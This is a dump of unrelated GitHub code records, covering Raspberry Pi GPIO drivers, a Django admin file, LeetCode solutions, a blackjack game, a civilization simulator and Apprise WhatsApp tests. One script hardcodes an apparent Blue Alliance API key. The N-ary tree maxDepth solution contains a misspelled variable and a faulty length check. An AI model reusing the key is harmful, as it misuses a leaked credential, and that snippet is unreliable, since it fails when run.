parse_data('data/frogs', 'data/toads', save=False)\n X = X[:400].T\n Y = Y[:400]\n model = Model([len(X), 10, 5, 3, 1])\n model.initialize_parameters()\n Y = Y.reshape((Y.shape[0], 1))\n model.fit(X, Y.T)\n","repo_name":"Anvilondre/frog-classifier","sub_path":"Model.py","file_name":"Model.py","file_ext":"py","file_size_in_byte":6599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15456893643","text":"import math\nimport time\nfrom typing import Optional, Union, List\n\nimport RPi.GPIO as gpio\nfrom smbus2 import SMBus\n\nfrom raspberry_py.gpio import Component\n\n\nclass ShiftRegister74HC595(Component):\n \"\"\"\n 74HC595: Serial-to-parallel data shift register.\n \"\"\"\n\n class State(Component.State):\n \"\"\"\n State of register.\n \"\"\"\n\n def __init__(\n self,\n enabled: bool,\n x: Optional[Union[int, List[int]]]\n ):\n \"\"\"\n Initialize the state.\n\n :param enabled: Whether the register is enabled.\n :param x: Output value, either a single integer (for one shift-register) or a list of integers (for multiple\n shift-registers connected in series). In the latter case, the first list element will be written to the\n first shift-register in the series, the second list element will be written to the second shift-register in\n the series, and so on.\n \"\"\"\n\n self.enabled = enabled\n self.x = x\n\n def __eq__(\n self,\n other: object\n ) -> bool:\n \"\"\"\n Check equality with another state.\n\n :param other: State.\n :return: True if equal and False otherwise.\n \"\"\"\n\n if not isinstance(other, ShiftRegister74HC595.State):\n raise ValueError(f'Expected a {ShiftRegister74HC595.State}')\n\n return self.enabled == other.enabled and self.x == other.x\n\n def __str__(\n self\n ) -> str:\n \"\"\"\n Get string.\n\n :return: String.\n \"\"\"\n\n return f'Enabled: {self.enabled}, Value: {self.x}'\n\n def set_state(\n self,\n state: Component.State\n ):\n \"\"\"\n Set the state and trigger events.\n\n :param state: State.\n \"\"\"\n\n if not isinstance(state, ShiftRegister74HC595.State):\n raise ValueError(f'Expected a {ShiftRegister74HC595.State}')\n\n state: ShiftRegister74HC595.State\n\n if self.output_disable_pin is not None:\n gpio.output(self.output_disable_pin, gpio.LOW if state.enabled else gpio.HIGH)\n\n if state.x is not None:\n\n # get value(s) to write to a single shift-register (or multiple shift-registers connected in series)\n if isinstance(state.x, int):\n values_to_write = [state.x]\n elif isinstance(state.x, list):\n values_to_write = state.x\n else:\n raise ValueError(f'Unknown value: {state.x}')\n\n gpio.output(self.write_register_to_output_pin, gpio.LOW)\n\n # write all values\n for value_to_write in values_to_write:\n\n bit_length = value_to_write.bit_length()\n if bit_length > self.bits:\n raise ValueError(f'Cannot write {bit_length} bits to an 8-bit shift register.')\n\n # write msb first, flipping the shift register pin each time.\n for bit_idx in reversed(range(self.bits)):\n bit_value = (value_to_write >> bit_idx) & 1\n gpio.output(self.shift_register_pin, gpio.LOW)\n gpio.output(self.serial_data_input_pin, gpio.HIGH if bit_value == 1 else gpio.LOW)\n gpio.output(self.shift_register_pin, gpio.HIGH)\n\n # write to parallel output(s)\n gpio.output(self.write_register_to_output_pin, gpio.HIGH)\n\n super().set_state(state)\n\n def enable(\n self\n ):\n \"\"\"\n Enable the shift register.\n \"\"\"\n\n self.state: ShiftRegister74HC595.State\n self.set_state(ShiftRegister74HC595.State(True, self.state.x))\n\n def disable(\n self\n ):\n \"\"\"\n Disable the shift register.\n \"\"\"\n\n self.state: ShiftRegister74HC595.State\n self.set_state(ShiftRegister74HC595.State(False, self.state.x))\n\n def write(\n self,\n x: Union[int, List[int]]\n ):\n \"\"\"\n Write one or more values to the shift register(s) and output to parallel.\n\n :param x: Value(s).\n \"\"\"\n\n self.state: ShiftRegister74HC595.State\n self.set_state(ShiftRegister74HC595.State(self.state.enabled, x))\n\n def clear(\n self\n ):\n \"\"\"\n Clear the shift register.\n \"\"\"\n\n self.state: ShiftRegister74HC595.State\n self.set_state(ShiftRegister74HC595.State(True, 0))\n\n def __init__(\n self,\n bits: int,\n output_disable_pin: Optional[int],\n serial_data_input_pin: int,\n shift_register_pin: int,\n write_register_to_output_pin: int,\n register_active_pin: Optional[int]\n ):\n \"\"\"\n Initialize the shift register.\n\n :param bits: Number of bits in the shift register.\n :param output_disable_pin: Output disable pin. Pass None and wire to ground to keep output enabled always;\n otherwise, if wired to GPIO port, call `enable` before `write`.\n :param serial_data_input_pin: Serial data input pin.\n :param shift_register_pin: Shift register pin.\n :param write_register_to_output_pin: Write to output pin.\n :param register_active_pin: Register activation pin. Pass None and wire to 3.3v to keep register active always.\n \"\"\"\n\n super().__init__(ShiftRegister74HC595.State(False, None))\n\n self.bits = bits\n self.output_disable_pin = output_disable_pin\n self.serial_data_input_pin = serial_data_input_pin\n self.shift_register_pin = shift_register_pin\n self.write_register_to_output_pin = write_register_to_output_pin\n self.register_active_pin = register_active_pin\n\n if self.output_disable_pin is not None:\n gpio.setup(self.output_disable_pin, gpio.OUT)\n\n gpio.setup(self.serial_data_input_pin, gpio.OUT)\n gpio.setup(self.shift_register_pin, gpio.OUT)\n gpio.setup(self.write_register_to_output_pin, gpio.OUT)\n\n if self.register_active_pin is not None:\n gpio.setup(self.register_active_pin, gpio.OUT)\n gpio.output(self.register_active_pin, gpio.HIGH) # activate the register pin\n\n\nclass PulseWaveModulatorPCA9685PW:\n \"\"\"\n PCA9685PW: 16-channel pulse-wave modulator.\n \"\"\"\n\n PCA9685PW_ADDRESS = 0x40\n\n # Registers/etc.\n __SUBADR1 = 0x02\n __SUBADR2 = 0x03\n __SUBADR3 = 0x04\n __MODE1 = 0x00\n __PRESCALE = 0xFE\n __LED0_ON_L = 0x06\n __LED0_ON_H = 0x07\n __LED0_OFF_L = 0x08\n __LED0_OFF_H = 0x09\n __ALLLED_ON_L = 0xFA\n __ALLLED_ON_H = 0xFB\n __ALLLED_OFF_L = 0xFC\n __ALLLED_OFF_H = 0xFD\n\n def write(\n self,\n register: int,\n value: int\n ):\n \"\"\"\n Write an 8-bit value to a register.\n\n :param register: Register to write.\n :param value: Value to write.\n \"\"\"\n\n self.bus.write_byte_data(self.address, register, value)\n\n def read(\n self,\n register: int\n ) -> int:\n \"\"\"\n Read an unsigned byte from a register.\n\n :param register: Register to read.\n :return: Value.\n \"\"\"\n\n return self.bus.read_byte_data(self.address, register)\n\n def set_pwm_frequency(\n self,\n frequency_hz: int\n ):\n \"\"\"\n Set pulse-wave modulation frequency.\n\n :param frequency_hz: Frequency (Hz).\n \"\"\"\n\n prescale_value = 25000000.0 # 25MHz\n prescale_value /= 4096.0 # 12-bit\n prescale_value /= float(frequency_hz)\n prescale_value -= 1.0\n prescale_value = math.floor(prescale_value + 0.5)\n\n oldmode = self.read(self.__MODE1)\n newmode = (oldmode & 0x7F) | 0x10 # sleep\n self.write(self.__MODE1, newmode) # go to sleep\n self.write(self.__PRESCALE, int(prescale_value))\n self.write(self.__MODE1, oldmode)\n time.sleep(0.005)\n self.write(self.__MODE1, oldmode | 0x80)\n\n def get_tick(\n self,\n offset_ms: float\n ) -> int:\n \"\"\"\n Get tick for an offset into the PWM period.\n\n :param offset_ms: Offset (ms) into the PWM period.\n \"\"\"\n\n if offset_ms > self.period_ms:\n raise ValueError(f'Offset {offset_ms} must be <= the period {self.period_ms}')\n\n if offset_ms < 0.0:\n raise ValueError(f'Offset {offset_ms} be >= 0.0')\n\n percentage_of_period = offset_ms / self.period_ms\n\n return int(percentage_of_period * 4095)\n\n def set_channel_pwm_on_off(\n self,\n channel: int,\n on_tick: int,\n off_tick: int\n ):\n \"\"\"\n Set the on/off ticks for an output channel.\n\n :param channel: Output channel (0-15)\n :param on_tick: On tick in [0,4095].\n :param off_tick: Off tick in [0,4095].\n \"\"\"\n\n # each output channel (e.g., led) is controlled by 2 12-bit registers. each register is fed by 2 input channels,\n # one for the lower byte and one for the higher byte (the highest 4 bits are unused). thus, there are 4 input\n # channels per output channel. the 2 registers specify, respectively, the on and off times of the output channel\n # from the range [0,4095].\n channel_register_offset = 4 * channel\n\n # write lower/higher byte of the on time\n self.write(self.__LED0_ON_L + channel_register_offset, on_tick & 0xFF)\n self.write(self.__LED0_ON_H + channel_register_offset, on_tick >> 8)\n\n # write lower/higher byte of the off time\n self.write(self.__LED0_OFF_L + channel_register_offset, off_tick & 0xFF)\n self.write(self.__LED0_OFF_H + channel_register_offset, off_tick >> 8)\n\n def __init__(\n self,\n bus: SMBus,\n address: int,\n frequency_hz: int\n ):\n \"\"\"\n Instantiate the PWM IC.\n\n :param bus: Bus.\n :param address: I2C address.\n :param frequency_hz: PWM frequency.\n \"\"\"\n\n self.bus = bus\n self.address = address\n self.frequency_hz = frequency_hz\n\n self.period_ms = 1000.0 / self.frequency_hz\n self.write(self.__MODE1, 0x00)\n self.set_pwm_frequency(self.frequency_hz)\n","repo_name":"MatthewGerber/raspberry-py","sub_path":"src/raspberry_py/gpio/integrated_circuits.py","file_name":"integrated_circuits.py","file_ext":"py","file_size_in_byte":10407,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"8033443209","text":"from data.models import Location, Album, Photo\nfrom django.contrib import admin\n\nclass AlbumInline(admin.StackedInline):\n model = Album\n extra = 0\n \n \nclass LocationAdmin(admin.ModelAdmin):\n inlines = [AlbumInline]\n list_display = ('name', 'lat', 'lng') \n\nclass PhotoInline(admin.TabularInline):\n model = Photo\n extra = 0\n\n\nclass AlbumAdmin(admin.ModelAdmin):\n inlines = [PhotoInline]\n list_display = ('name', 'location', 'date') \n \nadmin.site.register(Location, LocationAdmin)\nadmin.site.register(Album, AlbumAdmin)","repo_name":"msorvillo2234/picasa-maps","sub_path":"data/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"42538732431","text":"import itertools\nimport json\nimport os\nimport sys\n\nimport _jsonnet\n\ndef main():\n for att in (0, 1):\n steps = list(range(100, 2600, 100))\n logdir = os.path.join(\n 'logdirs/20181231-nl2code-hearthstone-fef2c5b',\n 'att{}'.format(att))\n\n for step in steps:\n if not os.path.exists(os.path.join(\n logdir,\n 'model_checkpoint-{:08d}'.format(step))):\n continue\n\n if os.path.exists(os.path.join(\n logdir,\n 'infer-val-step{:05d}-bs1.jsonl'.format(step))):\n continue\n\n infer_command = ((\n 'python infer.py '\n '--config configs/hearthstone/nl2code.jsonnet '\n '--logdir {logdir} '\n '--output __LOGDIR__/infer-val-step{step:05d}-bs1.jsonl ' +\n '--step {step} --section val --beam-size 1').format(\n logdir=logdir,\n step=step,\n ))\n\n #eval_command = ((\n # 'python eval.py --config configs/spider-20190205/nl2code-0521-ablations.jsonnet ' +\n # '--logdir logdirs/20190521-ablations ' +\n # '--config-args \"{args}\" ' +\n # '--inferred __LOGDIR__/infer-val-step{step:05d}-bs1.jsonl ' +\n # '--output __LOGDIR__/eval-val-step{step:05d}-bs1.jsonl ' +\n # '--section val').format(\n # args=args,\n # step=step,\n # ))\n\n #print('{} && {}'.format(infer_command, eval_command))\n #print(eval_command)\n print(infer_command)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"rshin/seq2struct","sub_path":"experiments/hearthstone/eval_20181231_baseline.py","file_name":"eval_20181231_baseline.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"21"} +{"seq_id":"73373440694","text":"# coding=utf-8\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\n# 创建DataFrame\r\ndf1 = pd.DataFrame(np.arange(9).reshape(3, 3)) # 通过NumPy创建一个3x3矩阵\r\ndf2 = pd.DataFrame(np.arange(9).reshape(3, 3),\r\n columns=[\"Column1\", \"Column2\", \"Column3\"],\r\n index=[\"Row_a\", \"Row_b\", \"Row_c\"]) # 创建时指定索引和列名\r\ndf3 = pd.DataFrame({\"note\": [1, 2, 3, \"Fourth\", \"Fifth\"],\r\n \"workday\": [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\"]}) # 创建时指定列数据\r\n\r\n# 访问数据\r\nprint(\"df1:\\n{}\\ndf2:\\n{}\\ndf3:\\n{}\\n\".format(df1, df2, df3))\r\nprint(\"df3 workday:\\n{}\\n\".format(df3['workday'])) # 类似数组方式,获取一列数据\r\nprint(\"df3 workday index 3:\\n{}\\n\".format(df3['workday'][3])) # 获取某个数据\r\n# print(\"df3 workday:\\n{}\\n\".format(df3.workday)) # 类似属性方式,获取一列数据,不建议此方式\r\n# print(\"df3 workday index 3:\\n{}\\n\".format(df3.workday[3])) # 获取某个数据\r\n\r\n# 更改数据\r\ndf3[\"Chr.\"] = pd.Series([\"A\", \"B\", \"C\", \"D\", \"E\"]) # 添加DataFrame列数据\r\nprint(\"df3:\\n{}\\n\".format(df3))\r\ndel df3[\"note\"] # 删除DataFrame列数据\r\nprint(\"df3:\\n{}\\n\".format(df3))\r\n\r\n# 通过Series数组创建DataFrame\r\nnoteSeries = pd.Series([\"1st\", \"2nd\", \"3rd\", \"4th\"], index=[1, 2, 3, 4])\r\nweekdaySeries = pd.Series([\"100\", \"200\", \"300\"], index=[1, 2, 3])\r\ndf4 = pd.DataFrame([noteSeries, weekdaySeries]) # 以Series数组来创建DataFrame,每个Series将成为一行,而不是一列\r\nprint(\"df4:\\n{}\\n\".format(df4))\r\n\r\n# ### Dataframe\r\n# http://pandas.pydata.org/pandas-docs/stable/dsintro.html#dataframe\r\n# - DataFrame是2维表格结构,带有标签,大小可变,可以包含异构的数据列\r\n# - DataFrame可以简单理解为Series的容器,一个DataFrame中可以包含多个Series\r\n# - 默认的索引和列名都是[0, N-1]形式,可以在创建时指定索引和列名,索引可以任何类型的数据\r\n# - 以Series数���来创建DataFrame,每个Series将成为一行,而不是一列(如果Series索引不同,将以NaN值来填充内容)\r\n","repo_name":"anliven/Hello-Data","sub_path":"Pandas/Pandas02_DataFrame.py","file_name":"Pandas02_DataFrame.py","file_ext":"py","file_size_in_byte":2100,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10827140024","text":"#Dict Approach (Time Complexity: O(n), Space Complexity: O(n)\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n \n dic = {}\n for i in range(len(numbers)):\n if (target - numbers[i] not in dic):\n dic[numbers[i]] = i+1\n else:\n return [dic[target-numbers[i]], i+1]\n \n \n \n \n# Two Pointer Approach (Time Complexity: O(n), Space Complexity: O(1) )\nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n \n start = 0\n end = len(numbers) - 1\n \n while (start < end):\n add = numbers[start] + numbers[end]\n if ( add == target):\n return (start+1, end+1)\n elif (add < target):\n start +=1\n else:\n end -= 1\n \n \n# Binary Search, Time Complexity O(nlog(n)), Space Complexity: 1 \nclass Solution:\n def twoSum(self, numbers: List[int], target: int) -> List[int]:\n \n for i in range (len(numbers)):\n find = target-numbers[i]\n start = i+1\n end = len(numbers)-1\n \n while (start<=end):\n mid = int((start+end)/2)\n \n if (numbers[mid] == find):\n return [i+1, mid+1]\n \n elif(numbers[mid] 0:\n\n frontierGrid = random.choice(civil.frontierSpace)\n expandGrid = univ.getExpandableGrid(frontierGrid)\n if len(expandGrid) > 0 and civil.alive:\n occupyGrid = random.choice(expandGrid)\n occupyGrid.owner = civil.id\n civil.occupyingSpace.append(occupyGrid)\n civil.frontierSpace.append(occupyGrid)\n othercivil = scoutOtherCivil(civil, occupyGrid, univ)\n if othercivil is None:\n break\n else:\n for oc in othercivil:\n civilEncounter(civil, univ.civildict[oc], univ)\n break\n else:\n civil.frontierSpace.remove(frontierGrid)\n if len(civil.frontierSpace) == 0 and len(civil.occupyingSpace) == 0:\n civil.alive = False\n break\n\n\ndef scoutOtherCivil(civil, grid, univ):\n result = univ.checkOwnerAround(grid) # the method returns the ids of owner of the grid\n while civil.id in result:\n result.remove(civil.id)\n if len(result) == 0:\n return None\n else:\n random.shuffle(result)\n return result\n\n\ndef occupyProcess(civil, univ):\n\n for grid in civil.occupyingSpace.copy():\n\n if grid.getResourceAmount() > 0:\n if grid.getResourceType() == \"L\":\n if grid.getResourceAmount() >= civil.tech:\n civil.life = civil.life + civil.tech\n grid.deductResourceAmount(civil.tech)\n else:\n civil.life = civil.life + grid.getResourceAmount()\n grid.deductResourceAmount(grid.getResourceAmount())\n elif grid.getResourceType() == \"S\":\n civil.tech = civil.tech + grid.getResourceAmount()\n grid.deductResourceAmount(grid.getResourceAmount())\n\n if grid.getResourceAmount() <= 0:\n civil.occupyingSpace.remove(grid)\n civil.ownedSpace.append(grid)\n if len(civil.frontierSpace) == 0 and len(civil.occupyingSpace) == 0:\n civil.alive = False\n\n break\n\n\ndef civilEncounter(a, b, univ):\n\n if {a.character, b.character}.issubset([\"F\"]):\n if (a.id + b.id) not in univ.unitePair.keys() and (b.id + a.id) not in univ.unitePair.keys():\n univ.unitePair[a.id + b.id] = (a, b, (a.tech + b.tech), (a.tech / b.tech - a.tech // b.tech))\n\n elif {a.character, b.character}.issubset([\"F\", \"K\"]):\n if (a.id + b.id) not in univ.warPair.keys() and (b.id + a.id) not in univ.warPair.keys():\n univ.warPair[a.id + b.id] = ((a, a.life), (b, b.life))\n logging.info(\"add warPair: \" + a.id + \"\" + b.id)\n\n elif a.character == \"A\":\n civilRunaway(a)\n\n\ndef civilUnite(univ):\n delete = []\n if univ.unitePair:\n for key, (a, b, totaltech, increment) in univ.unitePair.items():\n\n if (a.tech + b.tech) - totaltech >= increment:\n if (b.life > a.life):\n a, b = b, a\n a.absorbList.append(b.id)\n a.absorb(b)\n logging.info(\"Unite happen in round \" + str(univ.round) + \" ,\" + a.id + \" absorb \" + b.id)\n print(\"Unite happen in round \" + str(univ.round) + \" ,\" + a.id + \" absorb \" + b.id)\n delete.append(key)\n for i in delete:\n del univ.unitePair[i]\n\n\ndef civilWar(univ):\n delete = []\n if univ.warPair:\n for key, tmp in univ.warPair.items():\n l = [tmp[0], tmp[1]]\n random.shuffle(l)\n (a, alife) = l[0]\n (b, blife) = l[1]\n if {a.character, b.character}.issubset([\"K\"]):\n a.life = a.life - b.life * b.tech / 10\n b.life = b.life - a.life * a.tech / 10\n if a.life <= 0 or b.life <= 0:\n if a.life <= 0:\n winner = b\n loser = a\n elif b.life <= 0:\n winner = a\n loser = b\n loser.alive = False\n loser.life = alife\n winner.absorbList.append(loser.id)\n winner.absorb(loser)\n logging.info(key + \" War end in round \" + str(univ.round) + \" ,\" + winner.id + \" absorb \" + loser.id)\n print(key + \" War end in round \" + str(univ.round) + \" ,\" + winner.id + \" absorb \" + loser.id)\n delete.append(key)\n elif {a.character, b.character}.issubset([\"F\", \"K\"]):\n if a.character == \"F\":\n fc, kc = a, b\n else:\n fc, kc = b, a\n\n fclife, kclife = fc.life, kc.life\n\n logging.info(fc.id + \" before life:\" + str(fc.life))\n fc.life = fc.life - kc.life * kc.tech / 10\n logging.info(fc.id + \" after life: \" + str(fc.life))\n\n logging.info(kc.id + \" before life:\" + str(kc.life))\n kc.life = kc.life - kc.life * kc.tech / 20\n logging.info(kc.id + \" after life: \" + str(kc.life))\n\n if fc.life <= 0 or kc.life <= 0:\n if fc.life <= 0:\n winner, loser = kc, fc\n loserlife = fclife\n elif kc.life <= 0:\n winner, loser = fc, kc\n loserlife = kclife\n\n loser.alive = False\n loser.life = loserlife / 2\n winner.absorbList.append(loser.id)\n winner.absorb(loser)\n logging.info(key + \" War end in round \" + str(univ.round) + \" ,\" + winner.id + \" absorb \" + loser.id)\n print(key + \" War end in round \" + str(univ.round) + \" ,\" + winner.id + \" absorb \" + loser.id)\n delete.append(key)\n\n for i in delete:\n logging.info(\"delete id :\" + i)\n del univ.warPair[i]\n\n\ndef civilRunaway(a):\n\n return \"\"\n\n\ndef cleanFrontierGrid(civil, univ):\n for frontierGrid in civil.frontierSpace.copy():\n expandGrid = univ.getExpandableGrid(frontierGrid)\n if len(expandGrid) == 0:\n civil.frontierSpace.remove(frontierGrid)","repo_name":"yifzeng/InterstellarCivilizationSimulator","sub_path":"Control.py","file_name":"Control.py","file_ext":"py","file_size_in_byte":7741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16552148656","text":"from flask import Flask, session, request, render_template, abort\nfrom nebula import app\nfrom nebula.routes.decorators import login_required\nfrom nebula.services import notifications\n\ntemplate_signed = '''\n%s\n

\nFrom user %s:\n

\n%s\n'''\n\ntemplate_anon = '''\n%s\n

\n%s\n'''\n\n@app.route('/feedback', methods=[\"GET\", \"POST\"])\n@login_required\ndef feedback():\n print('hi')\n if 'feedback' not in app.config or 'email' not in app.config['feedback']:\n abort(404)\n\n if request.method == 'POST':\n recipient = app.config['feedback']['email']\n topic = request.form['topic']\n message = request.form['message']\n subject = 'Feedback from nebula: %s' % (topic,)\n if 'anonymous' not in request.form:\n body = template_signed % (topic, session['username'], message)\n else:\n body = template_anon % (topic, message)\n\n notifications.send_notification_email(subject, body, recipient)\n return render_template(\"feedback_acknowledgement.html\")\n return render_template(\"feedback.html\")\n","repo_name":"tedivm/nebula","sub_path":"nebula/routes/feedback.py","file_name":"feedback.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"21"} +{"seq_id":"26832758556","text":"import random\nfrom black_jack_art import logo\n\n# First, creating the functions that will be implemented.\n\ndef random_card_generator():\n \"\"\"Returns a random card from the deck.\"\"\"\n deck = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\n random_card = random.choice(deck)\n return random_card\n\n\ndef calculate_scores(deck):\n \"\"\"Return the score calculated from the deck. \n But first check for a BlackJack or replacing the Ace with 1.\"\"\"\n sum_deck = sum(deck)\n num_cards = len(deck)\n \n if sum_deck == 21 and num_cards == 2:\n return 0\n\n if 11 in deck and sum_deck > 21:\n deck.remove(11)\n deck.append(1)\n\n return sum_deck\n\n\ndef winner_definition(player_score, pc_score):\n \"\"\"Figuring out who is the winner by comparing the scores.\"\"\"\n if player_score > 21 and pc_score > 21:\n return \"😤 Over 21. Unfertunately, you lose 😤\"\n\n #firstly, we are checking for the cases that are exclusions so they might not be missed out\"\n if player_score == pc_score:\n return \"🙃 Draw 🙃\"\n elif pc_score == 0:\n return \"😱 Cry baby, Cry ==> You lose ==> Your virtual friend has BlackJack 😱\"\n elif player_score == 0:\n return \"😎 Luck You 😎 <==> 😎 YOU WIN with a BlackJack 😎\"\n elif player_score > 21:\n return \"😭 OH NO! You lose [Over 21] 😭\"\n elif pc_score > 21:\n return \"Lucky You! YOU WIN cause your opponent lose. 😁\"\n elif player_score > pc_score:\n return \"🥳😃🥳 Yeaaah! You WIN 🥳😃🥳\\n\\n\"\n else:\n return \"😤 Pfff, You LOSE 😤\"\n\ndef play_game():\n print(logo)\n\n # Dealing the cards for each of the participants\n user_deck = []\n computer_deck = []\n is_game_over = False\n\n for _ in range(2):\n user_deck.append(random_card_generator())\n computer_deck.append(random_card_generator())\n\n while not is_game_over:\n # Game is over if the computer or the user has a blackjack (0) or if the user's score is over 21.\n player_score = calculate_scores(user_deck)\n pc_score = calculate_scores(computer_deck)\n print(f\"===> Your hand is: {user_deck} with current score: {player_score}\")\n print(f\"===> Computer's card is: {computer_deck[0]}\")\n\n #when the game is over and you leave the while loop:\n if player_score == 0 or pc_score == 0 or player_score > 21:\n is_game_over = True\n else:\n user_get_another_random_card = input(\"Type 'y' to get another random_card, type 'n' to pass: \")\n if user_get_another_random_card == \"y\":\n user_deck.append(random_card_generator())\n else:\n is_game_over = True\n\n # The computer should keep drawing deck as long as it has a score less than 17.\n while pc_score != 0 and pc_score < 17:\n computer_deck.append(random_card_generator())\n pc_score = calculate_scores(computer_deck)\n\n print(f\"===> Your final hand: {user_deck}, final score: {player_score}\")\n print(f\"===> Computer's final hand: {computer_deck}, final score: {pc_score}\")\n print(winner_definition(player_score, pc_score))\n\nwhile input(\"\\n\\nDo you want to play a game of Blackjack? Type 'y' or 'n': \") == \"y\":\n play_game()\nelse:\n print(\"BYE BYE\")\n","repo_name":"sonya-stefanova/Mini_projects","sub_path":"black_jack_simple_version/black_jack_simple.py","file_name":"black_jack_simple.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"70041242294","text":"import json\nimport random\n\nimport requests\n\nfrom tba_py import TBA\n\nif __name__ == \"__main__\":\n tba = TBA('GdZrQUIjmwMZ3XVS622b6aVCh8CLbowJkCs5BmjJl2vxNuWivLz3Sf3PaqULUiZW')\n event_key = '2018onto1'\n sheet = json.load(open('/Users/kestin/Projects/ClooneySheetGen/resources/powerup_test_3.json'))\n matches = tba.get_event_matches(event_key)\n if not matches:\n matches = []\n teams = tba.get_event_teams(event_key)\n for match_num in range(100):\n match = {\n 'match_number': match_num + 1,\n 'alliances': {\n 'red': {\n 'team_keys': []\n },\n 'blue': {\n 'team_keys': []\n }\n }\n }\n for alliance in ['red', 'blue']:\n for i in range(3):\n match['alliances'][alliance]['team_keys'] += ['frc' + str(random.choice(teams)['team_number'])]\n matches += [match]\n\n for match in matches:\n for alliance in sorted(match['alliances'].keys()):\n for team in match['alliances'][alliance]['team_keys']:\n team = team[3:]\n payload = {\n 'event': event_key,\n 'team': int(team),\n 'match': match['match_number'],\n 'pos': match['alliances'][alliance]['team_keys'].index('frc' + team) + (3 if alliance == 'blue' else 0)\n }\n data = payload.copy()\n for field in sheet:\n if field['type'] == 'HorizontalOptions':\n if type(field['options']) is str:\n value = random.choice(field['options']['options'].split(\" \"))\n else:\n value = random.choice(field['options']['options'])\n elif field['type'] == 'Numbers':\n max_val = (field['ones'] if 'ones' in field.keys() else 9) + 10 * (field['tens'] if 'tens' in field.keys() else 1)\n value = random.randint(0, max_val)\n elif field['type'] == 'Boolean':\n value = (random.randint(0, 1) == 1)\n else:\n continue\n data[field['id']] = value\n payload['data'] = data\n resp = requests.post('http://0.0.0.0:5000/api/sql/add_entry', json=payload)\n if resp.status_code != 200:\n print(resp)\n print(\"Done\")\n","repo_name":"kForth/ClooneyWebServer","sub_path":"util/fake_data.py","file_name":"fake_data.py","file_ext":"py","file_size_in_byte":2592,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8006352390","text":"\"\"\"\nGiven a n-ary tree, find its maximum depth.\nThe maximum depth is the number of nodes along the longest path from the root node down to the farthest leaf node.\nNary-Tree input serialization is represented in their level order traversal,\neach group of children is separated by the null value (See examples).\n\nSol:similar to N-array traversal. But keep tracking the leaf node length\n(maxDepth when the length of children at a node is 0) and return the maxDepth.\n\"\"\"\n\n\"\"\"\n# Definition for a Node.\nclass Node(object):\n def __init__(self, val=None, children=None):\n self.val = val\n self.children = children\n\"\"\"\n\nclass Solution(object):\n def maxDepth(self, root):\n \"\"\"\n :type root: Node\n :rtype: int\n \"\"\"\n if root is None:\n return 0\n deq = deque([root,])\n maxDepth = 0\n level = 0\n while deq:\n levelLen = len(deq)\n level += 1\n for _ in range(0,levelLen):\n node = deq.popleft()\n for child in node.children:\n if child is not None:\n deq.append(child)\n if len(node.children) is 0:\n maxDepth = max(maxDeoth, level)\n return maxDepth\n","repo_name":"senumulapally/DataStructures","sub_path":"Trees/Binary_Tree/559_Maximum_Depth_of_N-ary_Tree.py","file_name":"559_Maximum_Depth_of_N-ary_Tree.py","file_ext":"py","file_size_in_byte":1263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15224873247","text":"from unittest import mock\n\nimport requests\nimport pytest\nfrom json import dumps, loads\nfrom apprise import Apprise\nfrom apprise.plugins.NotifyWhatsApp import NotifyWhatsApp\nfrom helpers import AppriseURLTester\n\n# Disable logging for a cleaner testing output\nimport logging\nlogging.disable(logging.CRITICAL)\n\n# Our Testing URLs\napprise_url_tests = (\n ('whatsapp://', {\n # Not enough details\n 'instance': TypeError,\n }),\n ('whatsapp://:@/', {\n # invalid Access Token\n 'instance': TypeError,\n }),\n ('whatsapp://{}@_'.format('a' * 32), {\n # token provided but invalid from\n 'instance': TypeError,\n }),\n ('whatsapp://%20:{}@12345/{}'.format('e' * 32, '4' * 11), {\n # Invalid template\n 'instance': TypeError,\n }),\n ('whatsapp://{}@{}'.format('b' * 32, 10**9), {\n # token provided and from but no target no\n 'instance': NotifyWhatsApp,\n\n # Response will fail due to no targets defined\n 'notify_response': False,\n }),\n ('whatsapp://{}:{}@{}/123/{}/abcd/'.format(\n 'a' * 32, 'b' * 32, '3' * 11, '9' * 15), {\n # valid everything but target numbers\n 'instance': NotifyWhatsApp,\n\n # Response will fail due to target not being loaded\n 'notify_response': False,\n }),\n ('whatsapp://{}@12345/{}'.format('e' * 32, '4' * 11), {\n # simple message\n 'instance': NotifyWhatsApp,\n\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 'whatsapp://e...e@1...5/%2B44444444444/',\n }),\n ('whatsapp://template:{}@12345/{}'.format('e' * 32, '4' * 11), {\n # template\n 'instance': NotifyWhatsApp,\n\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 'whatsapp://template:e...e@1...5/%2B44444444444/',\n }),\n ('whatsapp://template:{}@12345/{}?lang=fr_CA'.format('e' * 32, '4' * 11), {\n # template with language over-ride\n 'instance': NotifyWhatsApp,\n\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 'whatsapp://template:e...e@1...5/%2B44444444444/',\n }),\n ('whatsapp://{}@12345/{}?template=template&lang=fr_CA'.format(\n 'e' * 32, '4' * 11), {\n # template specified as kwarg with language over-ride\n 'instance': NotifyWhatsApp,\n\n # Our expected url(privacy=True) startswith() response:\n 'privacy_url': 